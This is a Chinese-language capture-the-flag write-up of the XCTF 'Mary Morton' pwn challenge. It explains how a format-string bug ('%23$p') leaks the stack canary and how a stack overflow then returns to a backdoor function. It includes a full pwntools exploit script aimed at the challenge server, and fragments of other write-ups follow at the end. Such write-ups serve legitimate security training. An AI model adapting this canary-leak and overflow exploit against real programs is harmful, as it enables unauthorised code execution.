攻防世界Mary Morton

2021-10-02 21:06:37 字數 1843 閱讀 6621

64位程式,開啟了canary和nx保護

執行以下,效果如下:

輸入1那塊存在棧溢位

輸入2那塊存在格式化字串漏洞

拖到ida看一下

main函式:

棧溢位的函式:

有canary保護,根據程式可以看出,v2應該就是canary的值,一開始,將_readfsqword(0x28u)的值給v2,後來又和v2做異或操作,只有v2與它還相等,程式返回0,否則返回不為零的數。

加入了canary後,棧幀情況如下圖:

根據注釋:buf在rbp-90h,v2在rbp-8h,所以,覆蓋返回位址的話,需要0x90-0x8=0x88覆蓋區域性變數,然後放上canary的值,在8個「a」覆蓋ebp,最後加上system的返回位址既可以。

格式化字串漏洞函式:

攻擊可以用棧溢位,但是缺少canary的值,可以用格式化字串漏洞來洩漏,buf和v2的位置在兩個函式裡都一樣

首先看下我們輸入時候的偏移

%p可以洩露十六位的位址

可以數到,我們輸入後的偏移為6

又因為,buf和v2本來的差距就有0x90-8h=0x88 0x88/0x8=0x11(十進位制17)

所以,總共需要往後找17+6=23個位址上即存canary的值

在text段,找到後門函式(看下text段)

根據以上,可以寫exp

#coding=utf-8

from pwn import *

context.log_level = 'debug'

p = remote('111.198.29.45',56161)

p.recvuntil("exit the battle ")

p.sendline(str(2))#先進入格式化函式洩漏cannary

p.sendline("%23$p")#洩漏cannary

p.recvuntil("0x")

canary = int(p.recv(16),16)#接收16個位元組

p.recvuntil("exit the battle ")

payload = "a"*0x88 + p64(canary) + 0x8*"a" + p64(0x04008da)

p.sendline(str(1))

p.sendline(payload)

p.interactive()

執行結果:

攻防世界 Mary Morton

開啟程式看,選單已經說明的很清楚了 1存在棧溢位,2存在format 不過checksec了發現 存在棧保護,這裡的format就可以洩露出標誌位 經過嘗試,x只能輸出8bit的數 這裡使用 p 先試試水 第6個引數就是我們的輸入首位址了 然後往下找標誌位 計算出是第23個引數 驗證一下 是第23個...

攻防世界mfw 攻防世界 Web mfw

題目資訊 image.png 工具 githack,dirsearch 知識點 git漏洞 審計 開啟題目場景,檢查 發現這樣乙個頁面 image.png 訪問.git目錄,疑似存在git原始碼洩露 image.png 再用dirsearch掃瞄,發現git原始碼洩露 使用 githack獲取原始碼...

攻防世界Web lottery

開心!雖然第一次遇到git原始碼洩露寫了好久,但是寫出來了就很開心 開啟介面我們知道,要拿到flag,就要贏到足夠的錢,其實一開始我以為可以找到乙個地方直接修改餘額什麼的,把網頁源 中的檔案看了幾個都沒發現突破口 然後又沒思路了 嘗試了一下robots.txt,想看看有沒有什麼檔案,然後發現了 瞬間...